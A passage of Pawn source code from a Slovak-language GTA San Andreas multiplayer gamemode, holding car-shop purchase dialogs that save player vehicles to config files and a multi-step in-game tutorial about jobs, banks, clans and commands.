                    format(string, 256, "~w~Kupil si si vozidlo ~y~%s~w~ za ~y~%d$~w~!", VehicleName[modelid - 400], price);
                    FormatPlayerInfoBox(playerid, "~g~Vehicles", string, 3000);
                }
            }

            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_CarShop6)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);

                new modelid;
                new price;

                if(listitem == 0)
                {
                    modelid = 401;
                    price = 70000;
                }
                if(listitem == 1)
                {
                    modelid = 404;
                    price = 50000;
                }
                if(listitem == 2)
                {
                    modelid = 410;
                    price = 90000;
                }
                if(listitem == 3)
                {
                    modelid = 418;
                    price = 85000;
                }
                if(listitem == 4)
                {
                    modelid = 422;
                    price = 80000;
                }
                if(listitem == 5)
                {
                    modelid = 426;
                    price = 90000;
                }
                if(listitem == 6)
                {
                    modelid = 458;
                    price = 60000;
                }
                if(listitem == 7)
                {
                    modelid = 479;
                    price = 60000;
                }
                if(listitem == 8)
                {
                    modelid = 496;
                    price = 125000;
                }
                if(listitem == 9)
                {
                    modelid = 517;
                    price = 90000;
                }
                if(listitem == 10)
                {
                    modelid = 526;
                    price = 100000;
                }

                new bool:IsPlayerVehicleSlotFree = false;
                new slotid;

                if(Player[playerid][VIP] == 0)
                {
                    for(new v=0; v<3; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }
                else
                {
                    for(new v=0; v<5; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }

                if(GetPlayerACMoney(playerid) < price) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazi !");
                else if(IsPlayerVehicleSlotFree == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš voľný slot pre zakupenie vozidla !");
                else
                {
                    new Name[24], way[32], V_id[16], V_posX[16], V_posY[16], V_posZ[16], V_angle[16], V_spz[16], V_color1[16], V_color2[16];
                    GetPlayerName(playerid, Name, 24);
                    format(way, 32, "SL/%s.cfg", Name);
                    format(V_id, 16, "V%d_id", slotid);
                    format(V_posX, 16, "V%d_posX", slotid);
                    format(V_posY, 16, "V%d_posY", slotid);
                    format(V_posZ, 16, "V%d_posZ", slotid);
                    format(V_angle, 16, "V%d_angle", slotid);
                    format(V_spz, 16, "V%d_spz", slotid);
                    format(V_color1, 16, "V%d_color1", slotid);
                    format(V_color2, 16, "V%d_color2", slotid);

                    new V_sell[16];
                    format(V_sell, 16, "V%d_sell", slotid);
                    dini_IntSet(way, V_sell, (price / 4 * 3));

                    dini_IntSet(way, V_id, modelid);
                    dini_IntSet(way, V_color1, random(126));
                    dini_IntSet(way, V_color2, random(126));
                    dini_FloatSet(way, V_posX, CarShopVehicleSpawnPos[0][6]);
                    dini_FloatSet(way, V_posY, CarShopVehicleSpawnPos[1][6]);
                    dini_FloatSet(way, V_posZ, CarShopVehicleSpawnPos[2][6]);
                    dini_FloatSet(way, V_angle, CarShopVehicleSpawnPos[3][6]);

                    PlayerVehicle[slotid][playerid] = CreateVehicle(dini_Int(way, V_id), dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ), dini_Float(way, V_angle), dini_Int(way, V_color1), dini_Int(way, V_color2), 300);

                    if(dini_Isset(way, V_spz))
                    {
                        SetVehicleNumberPlate(PlayerVehicle[slotid][playerid], dini_Get(way, V_spz));
                        SetVehicleToRespawn(PlayerVehicle[slotid][playerid]);
                    }

                    PlayerVehicle_State[slotid][playerid]=true;

                    GivePlayerACMoney(playerid, -price);

                    new string[256];
                    format(string, 256, "~w~Kupil si sp vozidlo ~y~%s~w~ za ~y~%d$~w~!", VehicleName[modelid - 400], price);
                    FormatPlayerInfoBox(playerid, "~g~Vehicles", string, 3000);
                }
            }

            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_CarShop7)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);

                new modelid;
                new price;

                if(listitem == 0)
                {
                    modelid = 473;
                    price = 50000;
                }
                if(listitem == 1)
                {
                    modelid = 493;
                    price = 300000;
                }
                if(listitem == 2)
                {
                    modelid = 484;
                    price = 600000;
                }
                if(listitem == 3)
                {
                    modelid = 453;
                    price = 200000;
                }
                if(listitem == 4)
                {
                    modelid = 452;
                    price = 280000;
                }
                if(listitem == 5)
                {
                    modelid = 446;
                    price = 300000;
                }
                if(listitem == 6)
                {
                    modelid = 454;
                    price = 200000;
                }
                if(listitem == 7)
                {
                    modelid = 472;
                    price = 85000;
                }

                new bool:IsPlayerVehicleSlotFree = false;
                new slotid;

                if(Player[playerid][VIP] == 0)
                {
                    for(new v=0; v<3; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }
                else
                {
                    for(new v=0; v<5; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }

                if(GetPlayerACMoney(playerid) < price) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazi !");
                else if(IsPlayerVehicleSlotFree == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš voľný slot pre zakupenie vozidla !");
                else
                {
                    new Name[24], way[32], V_id[16], V_posX[16], V_posY[16], V_posZ[16], V_angle[16], V_spz[16], V_color1[16], V_color2[16];
                    GetPlayerName(playerid, Name, 24);
                    format(way, 32, "SL/%s.cfg", Name);
                    format(V_id, 16, "V%d_id", slotid);
                    format(V_posX, 16, "V%d_posX", slotid);
                    format(V_posY, 16, "V%d_posY", slotid);
                    format(V_posZ, 16, "V%d_posZ", slotid);
                    format(V_angle, 16, "V%d_angle", slotid);
                    format(V_spz, 16, "V%d_spz", slotid);
                    format(V_color1, 16, "V%d_color1", slotid);
                    format(V_color2, 16, "V%d_color2", slotid);

                    new V_sell[16];
                    format(V_sell, 16, "V%d_sell", slotid);
                    dini_IntSet(way, V_sell, (price / 4 * 3));

                    dini_IntSet(way, V_id, modelid);
                    dini_IntSet(way, V_color1, random(126));
                    dini_IntSet(way, V_color2, random(126));
                    dini_FloatSet(way, V_posX, CarShopVehicleSpawnPos[0][7]);
                    dini_FloatSet(way, V_posY, CarShopVehicleSpawnPos[1][7]);
                    dini_FloatSet(way, V_posZ, CarShopVehicleSpawnPos[2][7]);
                    dini_FloatSet(way, V_angle, CarShopVehicleSpawnPos[3][7]);

                    PlayerVehicle[slotid][playerid] = CreateVehicle(dini_Int(way, V_id), dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ), dini_Float(way, V_angle), dini_Int(way, V_color1), dini_Int(way, V_color2), 300);

                    if(dini_Isset(way, V_spz))
                    {
                        SetVehicleNumberPlate(PlayerVehicle[slotid][playerid], dini_Get(way, V_spz));
                        SetVehicleToRespawn(PlayerVehicle[slotid][playerid]);
                    }

                    PlayerVehicle_State[slotid][playerid]=true;

                    GivePlayerACMoney(playerid, -price);

                    new string[256];
                    format(string, 256, "~w~Koupil si si vozidlo ~y~%s~w~ za ~y~%d$~w~!", VehicleName[modelid - 400], price);
                    FormatPlayerInfoBox(playerid, "~g~Vehicles", string, 3000);
                }
            }

            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_CarShop8)
        {
            if(response == 1)
            {

                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);

                new modelid;
                new price;

                if(listitem == 0)
                {
                    modelid = 462;
                    price = 50000;
                }
                if(listitem == 1)
                {
                    modelid = 581;
                    price = 150000;
                }
                if(listitem == 2)
                {
                    modelid = 461;
                    price = 180000;
                }
                if(listitem == 3)
                {
                    modelid = 521;
                    price = 250000;
                }
                if(listitem == 4)
                {
                    modelid = 522;
                    price = 325000;
                }
                if(listitem == 5)
                {
                    modelid = 463;
                    price = 200000;
                }
                if(listitem == 6)
                {
                    modelid = 586;
                    price = 100000;
                }
                if(listitem == 7)
                {
                    modelid = 468;
                    price = 220000;
                }
                if(listitem == 8)
                {
                    modelid = 471;
                    price = 130000;
                }

                new bool:IsPlayerVehicleSlotFree = false;
                new slotid;

                if(Player[playerid][VIP] == 0)
                {
                    for(new v=0; v<3; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }
                else
                {
                    for(new v=0; v<5; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }

                if(GetPlayerACMoney(playerid) < price) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazi !");
                else if(IsPlayerVehicleSlotFree == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš voľný slot pre zakupenie vozidla !");
                else
                {
                    new Name[24], way[32], V_id[16], V_posX[16], V_posY[16], V_posZ[16], V_angle[16], V_spz[16], V_color1[16], V_color2[16];
                    GetPlayerName(playerid, Name, 24);
                    format(way, 32, "SL/%s.cfg", Name);
                    format(V_id, 16, "V%d_id", slotid);
                    format(V_posX, 16, "V%d_posX", slotid);
                    format(V_posY, 16, "V%d_posY", slotid);
                    format(V_posZ, 16, "V%d_posZ", slotid);
                    format(V_angle, 16, "V%d_angle", slotid);
                    format(V_spz, 16, "V%d_spz", slotid);
                    format(V_color1, 16, "V%d_color1", slotid);
                    format(V_color2, 16, "V%d_color2", slotid);

                    new V_sell[16];
                    format(V_sell, 16, "V%d_sell", slotid);
                    dini_IntSet(way, V_sell, (price / 4 * 3));

                    dini_IntSet(way, V_id, modelid);
                    dini_IntSet(way, V_color1, random(126));
                    dini_IntSet(way, V_color2, random(126));
                    dini_FloatSet(way, V_posX, CarShopVehicleSpawnPos[0][8]);
                    dini_FloatSet(way, V_posY, CarShopVehicleSpawnPos[1][8]);
                    dini_FloatSet(way, V_posZ, CarShopVehicleSpawnPos[2][8]);
                    dini_FloatSet(way, V_angle, CarShopVehicleSpawnPos[3][8]);

                    PlayerVehicle[slotid][playerid] = CreateVehicle(dini_Int(way, V_id), dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ), dini_Float(way, V_angle), dini_Int(way, V_color1), dini_Int(way, V_color2), 300);

                    if(dini_Isset(way, V_spz))
                    {
                        SetVehicleNumberPlate(PlayerVehicle[slotid][playerid], dini_Get(way, V_spz));
                        SetVehicleToRespawn(PlayerVehicle[slotid][playerid]);
                    }

                    PlayerVehicle_State[slotid][playerid]=true;

                    GivePlayerACMoney(playerid, -price);

                    new string[256];
                    format(string, 256, "~w~Kupil si si vozidlo ~y~%s~w~ za ~y~%d$~w~!", VehicleName[modelid - 400], price);
                    FormatPlayerInfoBox(playerid, "~g~Vehicles", string, 3000);
                }
            }

            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        if(dialogid == Dialog_Tutorial0)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial1, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Zamestnanie", "Ako prvý krok by si sa mal zamestnať.\nBudeš dostávať výplatu, po spawne dostaneš zbrane, budeš mať speciálnu farbu nicku...\nKaždé povolanie je označene na mape nejakou ikonou.\nNa výber tu máš 28 povolani.", "Next", "");
                PlayerCamera(playerid, 2114.81, -1872.14, 45.00, 2137.98,-1905.36,13.55);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial1)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial2, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Peniaze", "Peniaze si môžeš zarobiť:\n- Vykradáním ropných vrtov\n- Vykradánim obchodů (/rob)\n- Plnením brigád (Jimmy [LS], Erika [SF])\nPlnením misii u niektorých povoláni\n- Nehnuteľnosti...", "Next", "");
                PlayerCamera(playerid, 302.36, 1539.26, 54.00, 506.33, 1471.32, 3.34);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial2)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial3, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Banka", "{c5c5c5}Keď si zarobíš nejaké peniaze nezabudni si ich vložit do banky,\npretože {ff0000}keď zomrieš tak sa ti peniaze ktoré máš u seba stratia !\n{c5c5c5}Celkove je v móde 9 bánk.", "Next", "");
                PlayerCamera(playerid, 1464.53, -1671.73, 14.05, 1486.127, -1772.66, 93.13);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial3)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial4, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Electro Shop (GPS & Notebook)", "V Electro Shope si môžeš koupiť GPS alebo Notebook.\n\nGPS:\n- 50 000$\n- Zviditeľnia sa ti ikony na mape\n\nNotebook:\n- 250 000$\n- Notebookové hry\n- Internetová banka\n- Online TV vysielanie", "Next", "");
                PlayerCamera(playerid, 1393.99, -1919.57, 32.00, 1359.90, -1854.19, 13.57);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial4)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial5, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Jimmy (Brigáda)", "Na bridáde si môžeš zarobiť peniaze a získať rešpekt.\n\nJimmy sa nachádza v Los Santos u pizzerie.\nCieľom misie je rozvážať po Los Santos pizzu než ti vyprší časový limit.\nČím skôr donesieš pizzu, tím večšiu budeš mať prémiu.", "Next", "");
                PlayerCamera(playerid, 2062.74, -1739.87, 47.00, 2120.51, -1790.22 ,13.55);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial5)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial6, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Erika (Brigáda)", "Na bridáde si môžeš zarobiť peniaze a získať rešpekt.\n\nErika sa nachádza v San Fierru v pristave.\nCieľom misie je doviesť Erike auto ktoré ti povie.\nZa auto dostaneš 100 000$ + prémiu 0$ - 50 000$ za jeho stav.", "Next", "");
                PlayerCamera(playerid, -1606.16, 29.79, 37.11, -1700.73, 28.81, 3.55);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial6)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial7, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Ropné vrty", "Ropné vrty su asi najľahší a najrychlejší spôsob ako si zarobiť peniaze.\n16 ropných vrtov sa nachádza v poúšti, západne od Las Venturas.\nStačí príjsť k vrtu, a stlačit 'Rob'.\nPeniaze ktoré ropný vrt zarobil neustále pribudajú, ale keď je tam až moc peňazí konto vrtu sa vynuluje.", "Next", "");
                PlayerCamera(playerid, 302.36, 1539.26, 54.00, 506.33, 1471.32, 3.34);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial7)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial8, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Nehnuteľnosti", "Môžeš si kupiľ nehnuteľnosť ktora ti každou minútou zarába peniaze (2% z ceny).\nPri odpojení sa ti peniaze za cenu nehnuteľnosti vráti, nehnuteľnosť sa automaticky odpredá, ale zarobené peniaze ti zostanu.\n!!! Môžeš mať viac než len jednu nehnuteľnosť !!!\nCelkovo je 25 nehnuteľnosti.", "Next", "");
                PlayerCamera(playerid, 1657.23, -1307.36, 16.00, 1041.67, -1338.94, 13.74);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial8)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial9, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Oblečenie", "Oblečenie si môžeš kupiť v nejakom obchode, napríklad Binco, ZIP, Victim...", "Next", "");
                PlayerCamera(playerid, 2236.78, -1615.49, 31.00, 2244.36, -1665.03, 15.50);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial9)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial10, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Jedlo", "Keď máš malo života môžeš sa najesť v nejakom obchode, napríklad Burger Shot, Pizza, Cluckin Bell...", "Next", "");
                PlayerCamera(playerid, 850.13, -1608.68, 28.00, 810.95, -1616.16, 13.55);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial10)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial11, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Vykrádanie obchodov", "Další zo spôsobov ako zarobiť peniaze je vykrádanie obchodov.\nStačí vojsť do obchodu a napísať príkaz '/rob'.", "Next", "");
                SetPlayerInterior(playerid, 18);
                PlayerCamera(playerid, 168.19, -91.96, 1002.24, 160.825, -81.06, 1001.80);
                SetPlayerPos(playerid, 168.19, -91.96, 980.00);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial11)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial12, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Diera v časopriestore", "Nikto nevie ako a kedy vznikla, ale nachádza sa v LS na móle a v SF na móle.\nAby si cez ňu prešiel, musíš ísť minimálne 200 km/h.", "Next", "");
                SetPlayerInterior(playerid, 0);
                PlayerCamera(playerid, 863.06, -2024.43, 23.00, 837.05, -2066.32, 12.87);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial12)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial13, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Bomb Shop", "V Bomb Shope si môžeš nakupiť bomby do inventára.", "Next", "");
                PlayerCamera(playerid, 1000.57, -1497.06, 46.00, 972.23, -1544.28, 13.61);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial13)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial14, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Obchody", "V Obchode si môžeš kupiť jedlo, pitie, cigarety... do inventára.", "Next", "");
                PlayerCamera(playerid, 2387.18, -1928.77, 21.00, 2423.43, -1914.94, 13.55);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial14)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial15, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Inventár", "Do inventára si môžeš kupovať jedlo, pitie, bomby, cigarety, marihuanu, jointy, speciálnee veci...\nJedlo kupiš v 'Obchoděe', bomby v 'Bomb Shope'...\nInventár otvoríš príkazom '/inventar'\npokiaľ chceš niekomu podať nejaku položku, použi príkaz '/giveitem'", "Next", "");
                PlayerCamera(playerid, 2387.18, -1928.77, 21.00, 2423.43, -1914.94, 13.55);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial15)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial16, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Marihuana", "Marihuanu môžeš pestovať na dedine na farme.\nPotom ju ale musíš spracovať v továrne na Crack.", "Next", "");
                PlayerCamera(playerid, -1021.81, 1604.80, 90.00, -1070.12, 1628.58, 76.39);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial16)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial17, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Továreň na Crack", "Tu si môžeš zpracovať marihuanu na jointy.\n3g marihuany = 1 joint", "Next", "");
                PlayerCamera(playerid, -2100.32, -130.54, 73.00, -2158.71, -224.39, 35.41);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial17)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial18, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Kanóny", "Kanóny služia iba na pobavenie.\nStačí sa postavit pred hlaveň kanónu a stločiť ENTER.\nCelkovo je 5 kanónov.", "Next", "");
                PlayerCamera(playerid, 2642.15, -1017.57, 112.00, 2678.14, -1009.55, 86.40);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial18)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial19, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Posilovňa", "V posilovniach sa môžeš naučiť nejaké bojové umenie.\nNa mape su označene čiernou činkou.\nCelkovo su 3 posilovne:\n- Box (LS)\n- Kneehead (LS)\n- Kung Fu (SF)", "Next", "");
                PlayerCamera(playerid, 2201.65, -1768.23, 30.00, 2229.67, -1721.72, 13.56);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial19)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial20, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Vlastné vozidlá", "V niektorých z 9 predajni vozidiel si môžeš kupiť 3 vlastné vozidlá ktoré môžeš používat iba ty.\nMůôžeš si kupiť napríklad auto, motoku, loď, lietadlo, vrtuľník...\nVIP Hráči môžu vlastniť až 5 vozidiel.\nSpráva vlastných vozidiel: '/vehicles'", "Next", "");
                PlayerCamera(playerid, 2159.55, -1105.33, 40.00, 2121.84, -1150.41, 24.16);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial20)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial21, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Domy", "Keď už budeš mať našporene nejaké tie peniaze, potom si môžeš koupiť vlastný dom (iba jeden !).\n- K domu si môžeš zakúpiť vozidlá (podľa počtu parkovacích miest)\n- Môžeš si doň vložiť zbrane (podľa počtu Weapon Slotov)\n- Môžeš si doň vložiť 5 oblekov (skin)\n- Správa domu: '/house'", "Next", "");
                PlayerCamera(playerid, 279.98, -1246.70, 80.00, 251.46, -1220.25, 76.10);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial21)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial22, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Firmy", "Potom si môžeš kupiť firmu, nakupovať v cudzích firmách...\nV administracii firmy si môžeš zmeniť meno firmy, vybrať tržbu, nastaviť ceny položiek, nastavit položky...", "Next", "");
                PlayerCamera(playerid, 1701.01, -1519.89, 21.00, 1702.61, -1470.72, 13.55);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial22)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial23, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Clany", "Keď dosiahneš aspoň 30 respektu a 80 odohratých hodin, môžeš si kupiť clan (iba jeden !).\nV administracii clanu môžeš meniť meno clanu, prijímať a vyhadzovať hráčov, kupovať clan vozidla,\ndokupovať zbrane, meniť interiér, vylepšovať clan, nastavovať platy, nastavovať hodnosti, menit farbu clanu...\nČím vyšší máš respekt, tím viac môžeš mať v clane členov.", "Next", "");
                PlayerCamera(playerid, 1800.25, -1913.44, 32.00, 1756.49, -1883.88, 14.45);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial23)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial24, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Respekt", "Ukazovateľ respektu sa nachádza vpravo na obrazovke modrým textom.\nČím viac máš respektu, tím viac môžeš mať v clane členov.\nAby si mohol založit clan, potrebuješ aspoň 30 respektu.\nRespekt získaš zabijaním, plnením brigád, nahratým časom na serveri...\nKeď dosiahneš maximálne množstvo respektu, ukazovateľ respektu ztmavne.", "Next", "");
                PlayerCamera(playerid, 1800.25, -1913.44, 32.00, 1756.49, -1883.88, 14.45);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial24)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial25, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Skill", "Ukazovateľ skillu sa nachádza vpravo na obrazovke žltým textom.\nČím viac skillu, tím lepšie zaobchádzanie zo zbraňou.\nAby si mohol mať v rukách 2 zbrane, musíš mať plný skill.\nSkill získaš iba zabijaním.\nKeď dosiahneš maximálne množstvo skillu, ukazovateľ skillu ztmavne.", "Next", "");
                PlayerCamera(playerid, 1800.25, -1913.44, 32.00, 1756.49, -1883.88, 14.45);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial25)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial26, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Mobil", "Môžeš taktiež používať mobil príkazom '/mobil'.\nMôžeš posielať SMSky, prijímať SMSky, ukládať kontakty, nastaviť si vyzváňaci tón...", "Next", "");
                PlayerCamera(playerid, 1800.25, -1913.44, 32.00, 1756.49, -1883.88, 14.45);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial26)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial27, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Základne príkazy", "/help\n/pm\n/givecash\n/giveweapon\n/inventar\n/admins\n/giveitem\n/afk\n/kill\n/account\n/highscore\n/mobil\n/drift\n/report\n/lotto\n/vinfo\n/animations\n...", "Next", "");
                PlayerCamera(playerid, 1800.25, -1913.44, 32.00, 1756.49, -1883.88, 14.45);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial27)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Tutorial28, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Credits", "{ffff70}Game Mode vyrobil: {ff0000}LYRIcS\n{ffff70}Skype: {ff0000}alphamew98\n{ffff70}Telefónni číslo na serveri: {ff0000}-----", "Exit", "");
                PlayerCamera(playerid, 1800.25, -1913.44, 32.00, 1756.49, -1883.88, 14.45);
                SetPlayerWeather(playerid, 0);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Tutorial28)
        {
            if(response == 1)
            {
                EndTutorial(playerid);
            }
            else EndTutorial(playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_PM)
        {
            if(response == 1)
            {
